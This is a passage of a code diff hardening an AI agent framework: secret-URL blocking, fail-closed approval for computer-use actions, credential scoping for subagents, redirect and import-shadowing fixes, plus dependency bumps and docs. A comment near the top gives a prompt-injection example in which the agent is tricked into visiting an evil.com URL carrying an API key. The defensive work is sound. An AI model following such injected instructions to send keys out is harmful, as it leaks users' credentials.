# Secret exfiltration protection — block URLs that embed API keys or
# tokens in query parameters. A prompt injection could trick the agent
# into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
- # Also check URL-decoded form to catch %2D encoding tricks (e.g. sk%2Dant%2D...).
- import urllib.parse
- from agent.redact import _PREFIX_RE
- url_decoded = urllib.parse.unquote(url)
- if _PREFIX_RE.search(url) or _PREFIX_RE.search(url_decoded):
+ # url_contains_secret applies repeated percent-decoding so double-encoded
+ # tricks (sk%252Dant%252D... → sk-ant-...) are still caught.
+ from agent.redact import url_contains_secret
+ if url_contains_secret(url):
return json.dumps({
"success": False,
"error": "Blocked: URL contains what appears to be an API key or token. "
@@ -2321,8 +2317,7 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
})
if (
- not _is_local_backend()
- and not auto_local_this_nav
+ not auto_local_this_nav
and not _allow_private_urls()
and not _is_safe_url(url)
):
diff --git a/tools/computer_use/tool.py b/tools/computer_use/tool.py
index 63a5076c1718..f6dbfd1b6041 100644
--- a/tools/computer_use/tool.py
+++ b/tools/computer_use/tool.py
@@ -143,8 +143,8 @@ def _get_backend() -> ComputerUseBackend:
def reset_backend_for_tests() -> None: # pragma: no cover
- """Test helper — tear down the cached backend."""
- global _backend, _session_auto_approve, _always_allow
+ """Test helper — tear down the cached backend and approval state."""
+ global _backend, _session_auto_approve, _always_allow, _approval_callback
with _backend_lock:
if _backend is not None:
try:
@@ -154,6 +154,7 @@ def reset_backend_for_tests() -> None: # pragma: no cover
_backend = None
_session_auto_approve = False
_always_allow = set()
+ _approval_callback = None
class _NoopBackend(ComputerUseBackend): # pragma: no cover
@@ -266,9 +267,10 @@ def _request_approval(action: str, args: Dict[str, Any]) -> Optional[str]:
return None
cb = _approval_callback
if cb is None:
- # No CLI approval wired — default allow. Gateway approval is handled
- # one layer out via the normal tool-approval infra.
- return None
+ return json.dumps({
+ "error": "approval required but no approval callback is registered",
+ "action": action,
+ })
summary = _summarize_action(action, args)
try:
verdict = cb(action, args, summary)
diff --git a/tools/delegate_tool.py b/tools/delegate_tool.py
index b2c02aedaf8a..9e4f5d3d94d1 100644
--- a/tools/delegate_tool.py
+++ b/tools/delegate_tool.py
@@ -1012,11 +1012,17 @@ def _child_thinking(text: str) -> None:
child_thinking_cb = _child_thinking
- # Resolve effective credentials: config override > parent inherit
+ # Resolve effective credentials: config override > parent inherit.
+ # A configured child base_url must not silently inherit the parent key: the
+ # parent key may belong to an unrelated provider and would be sent to the
+ # override endpoint as its Authorization credential.
effective_model = model or parent_agent.model
effective_provider = override_provider or getattr(parent_agent, "provider", None)
effective_base_url = override_base_url or parent_agent.base_url
- effective_api_key = override_api_key or parent_api_key
+ if override_base_url and not override_api_key:
+ effective_api_key = None
+ else:
+ effective_api_key = override_api_key or parent_api_key
effective_api_mode = override_api_mode or getattr(parent_agent, "api_mode", None)
effective_acp_command = override_acp_command or getattr(
parent_agent, "acp_command", None
@@ -2327,11 +2333,9 @@ def _resolve_delegation_credentials(cfg: dict, parent_agent) -> dict:
If ``delegation.base_url`` is configured, subagents use that direct
OpenAI-compatible endpoint. ``delegation.api_key`` overrides the key; when
- omitted, ``api_key`` is returned as ``None`` so ``_build_child_agent``
- inherits the parent agent's key (``effective_api_key = override_api_key or
- parent_api_key``). This lets providers that store their key outside
- ``OPENAI_API_KEY`` (e.g. ``MINIMAX_API_KEY``, ``DASHSCOPE_API_KEY``) work
- without a duplicate config entry.
+ omitted, ``OPENAI_API_KEY`` is used for backwards compatibility. Parent
+ agent credentials are never inherited for a configured direct endpoint
+ because they may belong to an unrelated provider.
Otherwise, if ``delegation.provider`` is configured, the full credential
bundle (base_url, api_key, api_mode, provider) is resolved via the runtime
@@ -2349,13 +2353,14 @@ def _resolve_delegation_credentials(cfg: dict, parent_agent) -> dict:
configured_api_key = str(cfg.get("api_key") or "").strip() or None
if configured_base_url:
- # When delegation.api_key is not set, return None so _build_child_agent
- # falls back to the parent agent's API key via the credential inheritance
- # path (effective_api_key = override_api_key or parent_api_key). This
- # lets providers that store their key in a non-OPENAI_API_KEY env var
- # (e.g. MINIMAX_API_KEY, DASHSCOPE_API_KEY) work without requiring
- # callers to duplicate the key under delegation.api_key.
- api_key = configured_api_key # None → inherited from parent in _build_child_agent
+ api_key = configured_api_key or (os.getenv("OPENAI_API_KEY") or "").strip()
+ if not api_key:
+ raise ValueError(
+ "delegation.base_url is set but no delegation.api_key or "
+ "OPENAI_API_KEY is configured. Set delegation.api_key for the "
+ "direct endpoint, or use delegation.provider to resolve a "
+ "provider-specific credential."
+ )
base_lower = configured_base_url.lower()
provider = "custom"
diff --git a/tools/file_tools.py b/tools/file_tools.py
index 2cedc4bcd5f1..058992c99460 100644
--- a/tools/file_tools.py
+++ b/tools/file_tools.py
@@ -20,6 +20,35 @@
logger = logging.getLogger(__name__)
+# Extensions whose contents are source code, not data/config credential files.
+# Keep data formats such as .env, .json, .yaml, .toml, .ini, and .cfg out of
+# this set so ENV/JSON secret redaction remains active for credential files.
+_SOURCE_CODE_EXTENSIONS = frozenset({
+ ".bash", ".c", ".cc", ".clj", ".cljs", ".cmake", ".cpp", ".cs",
+ ".css", ".dart", ".ex", ".exs", ".fish", ".fs", ".fsx", ".go",
+ ".graphql", ".gql", ".h", ".hpp", ".hrl", ".htm", ".html", ".java",
+ ".jl", ".js", ".jsx", ".kt", ".kts", ".less", ".lua", ".mjs",
+ ".mm", ".php", ".pl", ".pm", ".proto", ".ps1", ".psm1", ".py",
+ ".pyi", ".r", ".rb", ".rs", ".sass", ".scala", ".scss", ".sh",
+ ".sql", ".svelte", ".swift", ".tsx", ".ts", ".vue", ".zsh",
+})
+_SOURCE_CODE_FILENAMES = frozenset({
+ "Brewfile", "CMakeLists.txt", "Dockerfile", "Gemfile", "Jenkinsfile",
+ "Justfile", "Makefile", "Rakefile", "Taskfile", "Vagrantfile",
+})
+
+
+def _is_source_code_path(path: str | os.PathLike[str]) -> bool:
+ """Return True when path is a known source-code file type."""
+ try:
+ file_path = Path(path)
+ except TypeError:
+ return False
+ return (
+ file_path.name in _SOURCE_CODE_FILENAMES
+ or file_path.suffix.lower() in _SOURCE_CODE_EXTENSIONS
+ )
+
_EXPECTED_WRITE_ERRNOS = {errno.EACCES, errno.EPERM, errno.EROFS}
@@ -570,7 +599,9 @@ def read_file_tool(path: str, offset: int = 1, limit: int = 500, task_id: str =
# ── Redact secrets (after guard check to skip oversized content) ──
if result.content:
- result.content = redact_sensitive_text(result.content, code_file=True)
+ result.content = redact_sensitive_text(
+ result.content, code_file=_is_source_code_path(_resolved)
+ )
result_dict["content"] = result.content
# Large-file hint: if the file is big and the caller didn't ask
@@ -993,7 +1024,12 @@ def search_tool(pattern: str, target: str = "content", path: str = ".",
if hasattr(result, 'matches'):
for m in result.matches:
if hasattr(m, 'content') and m.content:
- m.content = redact_sensitive_text(m.content, code_file=True)
+ m.content = redact_sensitive_text(
+ m.content,
+ code_file=_is_source_code_path(
+ os.path.realpath(getattr(m, "path", ""))
+ ),
+ )
result_dict = result.to_dict()
if count >= 3:
diff --git a/tools/send_message_tool.py b/tools/send_message_tool.py
index 5618be368e43..e0edd9530300 100644
--- a/tools/send_message_tool.py
+++ b/tools/send_message_tool.py
@@ -71,13 +71,24 @@ def _error(message: str) -> dict:
return {"error": _sanitize_error_text(message)}
+_TELEGRAM_MAX_RETRY_AFTER_SECONDS = 10.0
+
+
def _telegram_retry_delay(exc: Exception, attempt: int) -> float | None:
retry_after = getattr(exc, "retry_after", None)
if retry_after is not None:
try:
- return max(float(retry_after), 0.0)
+ delay = max(float(retry_after), 0.0)
except (TypeError, ValueError):
return 1.0
+ if delay > _TELEGRAM_MAX_RETRY_AFTER_SECONDS:
+ logger.warning(
+ "Telegram retry_after %.1fs exceeds %.1fs cap; failing without sleep",
+ delay,
+ _TELEGRAM_MAX_RETRY_AFTER_SECONDS,
+ )
+ return None
+ return delay
text = str(exc).lower()
if "timed out" in text or "timeout" in text:
diff --git a/tools/web_tools.py b/tools/web_tools.py
index e5344855bc83..7933ccbfe196 100644
--- a/tools/web_tools.py
+++ b/tools/web_tools.py
@@ -133,8 +133,11 @@ def _get_backend() -> str:
# Fallback for manual / legacy config — pick the highest-priority
# available backend. Firecrawl also counts as available when the managed
# tool gateway is configured for Nous subscribers.
- # Free-tier backends (searxng / brave-free / ddgs) trail the paid ones so
+ # Free-tier backends (searxng / brave-free) trail the paid ones so
# existing paid setups are unaffected.
+ # ddgs is intentionally excluded from auto-detect: just having the
+ # package importable is too weak a signal to opt the user into a
+ # rate-limited HTML-scraping backend without explicit configuration.
backend_candidates = (
("firecrawl", _has_env("FIRECRAWL_API_KEY") or _has_env("FIRECRAWL_API_URL") or _is_tool_gateway_ready()),
("parallel", _has_env("PARALLEL_API_KEY")),
@@ -142,7 +145,6 @@ def _get_backend() -> str:
("exa", _has_env("EXA_API_KEY")),
("searxng", _has_env("SEARXNG_URL")),
("brave-free", _has_env("BRAVE_SEARCH_API_KEY")),
- ("ddgs", _ddgs_package_importable()),
)
for backend, available in backend_candidates:
if available:
@@ -204,23 +206,27 @@ def _is_backend_available(backend: str) -> bool:
if backend == "brave-free":
return _has_env("BRAVE_SEARCH_API_KEY")
if backend == "ddgs":
- return _ddgs_package_importable()
+ return _ddgs_package_available()
return False
-def _ddgs_package_importable() -> bool:
- """Return True when the ``ddgs`` Python package can be imported.
+def _ddgs_package_available() -> bool:
+ """Return True when the installed ``ddgs`` distribution is safe to import.
- ddgs is the only backend whose availability is driven by a package
- presence rather than an env var / config entry. Wrapped in a helper
- so auto-detect and ``_is_backend_available`` share the same check
- (and tests can monkeypatch a single symbol).
+ Delegates to :func:`tools.web_providers.ddgs.ddgs_package_available`,
+ which checks distribution metadata and ``importlib.util.find_spec``
+ without executing the package's top-level code. A bare ``import ddgs``
+ here would run any local ``ddgs.py`` shadowing the installed package
+ on ``sys.path`` — an attack the provider's helper specifically guards
+ against and tests cover.
"""
- try:
- import ddgs # noqa: F401
- return True
- except ImportError:
- return False
+ from tools.web_providers.ddgs import ddgs_package_available
+ return ddgs_package_available()
+
+
+def _ddgs_package_importable() -> bool:
+ """Backward-compat alias for :func:`_ddgs_package_available`."""
+ return _ddgs_package_available()
# ─── Firecrawl Client ────────────────────────────────────────────────────────
diff --git a/ui-tui/src/__tests__/externalLink.test.ts b/ui-tui/src/__tests__/externalLink.test.ts
index 31be5e83af32..def14060d43b 100644
--- a/ui-tui/src/__tests__/externalLink.test.ts
+++ b/ui-tui/src/__tests__/externalLink.test.ts
@@ -135,4 +135,21 @@ describe('external link helpers', () => {
await expect(fetchLinkTitle('file:///tmp/demo.html')).resolves.toBe('')
expect(fetchMock).not.toHaveBeenCalled()
})
+
+ it('does not follow redirects when fetching titles', async () => {
+ const fetchMock = vi.fn().mockResolvedValue(
+ new Response('', {
+ headers: { location: 'http://127.0.0.1/internal' },
+ status: 302
+ })
+ )
+
+ vi.stubGlobal('fetch', fetchMock)
+
+ await expect(fetchLinkTitle('https://example.com/redirect')).resolves.toBe('')
+ expect(fetchMock).toHaveBeenCalledWith(
+ 'https://example.com/redirect',
+ expect.objectContaining({ redirect: 'manual' })
+ )
+ })
})
diff --git a/ui-tui/src/lib/externalLink.ts b/ui-tui/src/lib/externalLink.ts
index cfc79373ac6c..5dd5c5010b0b 100644
--- a/ui-tui/src/lib/externalLink.ts
+++ b/ui-tui/src/lib/externalLink.ts
@@ -334,7 +334,7 @@ async function fetchHtmlTitle(normalizedUrl: string): Promise {
'Accept-Language': 'en-US,en;q=0.7',
'User-Agent': TITLE_USER_AGENT
},
- redirect: 'follow',
+ redirect: 'manual',
signal: controller.signal
})
diff --git a/uv.lock b/uv.lock
index d2fb9a52e546..39df7b34e4be 100644
--- a/uv.lock
+++ b/uv.lock
@@ -1767,14 +1767,14 @@ wheels = [
[[package]]
name = "gitpython"
-version = "3.1.46"
+version = "3.1.50"
source = { registry = "https://pypi.org/simple" }
dependencies = [
{ name = "gitdb" },
]
-sdist = { url = "https://files.pythonhosted.org/packages/df/b5/59d16470a1f0dfe8c793f9ef56fd3826093fc52b3bd96d6b9d6c26c7e27b/gitpython-3.1.46.tar.gz", hash = "sha256:400124c7d0ef4ea03f7310ac2fbf7151e09ff97f2a3288d64a440c584a29c37f", size = 215371, upload-time = "2026-01-01T15:37:32.073Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/33/f6/354ae6491228b5eb40e10d89c4d13c651fe1cf7556e35ebdded50cff57ce/gitpython-3.1.50.tar.gz", hash = "sha256:80da2d12504d52e1f998772dc5baf6e553f8d2fcfe1fcc226c9d9a2ee3372dcc", size = 219798, upload-time = "2026-05-06T04:01:26.571Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/6a/09/e21df6aef1e1ffc0c816f0522ddc3f6dcded766c3261813131c78a704470/gitpython-3.1.46-py3-none-any.whl", hash = "sha256:79812ed143d9d25b6d176a10bb511de0f9c67b1fa641d82097b0ab90398a2058", size = 208620, upload-time = "2026-01-01T15:37:30.574Z" },
+ { url = "https://files.pythonhosted.org/packages/20/7a/1c6e3562dfd8950adbb11ffbc65d21e7c89d01a6e4f137fa981056de25c5/gitpython-3.1.50-py3-none-any.whl", hash = "sha256:d352abe2908d07355014abdd21ddf798c2a961469239afec4962e9da884858f9", size = 212507, upload-time = "2026-05-06T04:01:23.799Z" },
]
[[package]]
@@ -2540,11 +2540,11 @@ wheels = [
[[package]]
name = "idna"
-version = "3.11"
+version = "3.15"
source = { registry = "https://pypi.org/simple" }
-sdist = { url = "https://files.pythonhosted.org/packages/6f/6d/0703ccc57f3a7233505399edb88de3cbd678da106337b9fcde432b65ed60/idna-3.11.tar.gz", hash = "sha256:795dafcc9c04ed0c1fb032c2aa73654d8e8c5023a7df64a53f39190ada629902", size = 194582, upload-time = "2025-10-12T14:55:20.501Z" }
+sdist = { url = "https://files.pythonhosted.org/packages/82/77/7b3966d0b9d1d31a36ddf1746926a11dface89a83409bf1483f0237aa758/idna-3.15.tar.gz", hash = "sha256:ca962446ea538f7092a95e057da437618e886f4d349216d2b1e294abfdb65fdc", size = 199245, upload-time = "2026-05-12T22:45:57.011Z" }
wheels = [
- { url = "https://files.pythonhosted.org/packages/0e/61/66938bbb5fc52dbdf84594873d5b51fb1f7c7794e9c0f5bd885f30bc507b/idna-3.11-py3-none-any.whl", hash = "sha256:771a87f49d9defaf64091e6e6fe9c18d4833f140bd19464795bc32d966ca37ea", size = 71008, upload-time = "2025-10-12T14:55:18.883Z" },
+ { url = "https://files.pythonhosted.org/packages/d2/23/408243171aa9aaba178d3e2559159c24c1171a641aa83b67bdd3394ead8e/idna-3.15-py3-none-any.whl", hash = "sha256:048adeaf8c2d788c40fee287673ccaa74c24ffd8dcf09ffa555a2fbb59f10ac8", size = 72340, upload-time = "2026-05-12T22:45:55.733Z" },
]
[[package]]
diff --git a/website/docs/getting-started/nix-setup.md b/website/docs/getting-started/nix-setup.md
index 80e8cae9746b..a31a33a531fd 100644
--- a/website/docs/getting-started/nix-setup.md
+++ b/website/docs/getting-started/nix-setup.md
@@ -643,7 +643,7 @@ services.hermes-agent.extraPythonPackages = [
];
```
-The package's `site-packages` is added to PYTHONPATH in the hermes wrapper. `importlib.metadata` discovers the entry point at session start.
+The package's `site-packages` is exposed through `HERMES_PLUGIN_PYTHONPATH` in the hermes wrapper. Hermes scans that metadata at session start and only adds the path to `sys.path` after the plugin is enabled, so Python startup hooks from disabled plugins do not run.
### Optional Dependency Groups (`extraDependencyGroups`)
@@ -835,7 +835,7 @@ nix build .#checks.x86_64-linux.config-roundtrip # merge script preserves use
| `extraArgs` | `listOf str` | `[]` | Extra args for `hermes gateway` |
| `extraPackages` | `listOf package` | `[]` | Extra packages available to the agent. Added to the hermes user's per-user profile so terminal commands, skills, and cron jobs all see them |
| `extraPlugins` | `listOf package` | `[]` | Directory plugin packages to symlink into `$HERMES_HOME/plugins/`. Each must contain `plugin.yaml` |
-| `extraPythonPackages` | `listOf package` | `[]` | Python packages added to PYTHONPATH for entry-point plugin discovery. Build with `python312Packages` |
+| `extraPythonPackages` | `listOf package` | `[]` | Python packages exposed for entry-point plugin discovery without startup `PYTHONPATH`. Build with `python312Packages` |
| `extraDependencyGroups` | `listOf str` | `[]` | pyproject.toml optional extras to include in the sealed venv (e.g. `["hindsight"]`). Resolved by uv — no collisions |
| `restart` | `str` | `"always"` | systemd `Restart=` policy |
| `restartSec` | `int` | `5` | systemd `RestartSec=` value |
diff --git a/website/docs/user-guide/messaging/telegram.md b/website/docs/user-guide/messaging/telegram.md
index ffbc9dfe0741..0d427d4d6764 100644
--- a/website/docs/user-guide/messaging/telegram.md
+++ b/website/docs/user-guide/messaging/telegram.md
@@ -874,18 +874,19 @@ telegram:
"-1001234567890": |
You are a research assistant. Focus on academic sources,
citations, and concise synthesis.
- "42": |
+ "-1001234567890:42": |
This topic is for creative writing feedback. Be warm and
constructive.
```
-Keys are chat IDs (groups/supergroups) or forum topic IDs. For forum groups, topic-level prompts override the group-level prompt:
+Keys are chat IDs (groups/supergroups) or chat-scoped forum topic keys in the form `:`. Topic-level prompts override the group-level prompt only within their own group:
-- Message in topic `42` inside group `-1001234567890` → uses topic `42`'s prompt
+- Message in topic `42` inside group `-1001234567890` → uses `-1001234567890:42`'s prompt
- Message in topic `99` (no explicit entry) → falls back to group `-1001234567890`'s prompt
+- Message in topic `42` inside another group → does not use `-1001234567890:42`'s prompt
- Message in a group with no entry → no channel prompt applied
-Numeric YAML keys are automatically normalized to strings.
+Numeric YAML keys are automatically normalized to strings for chat-level entries. Quote composite topic keys so YAML keeps them as strings.
## Troubleshooting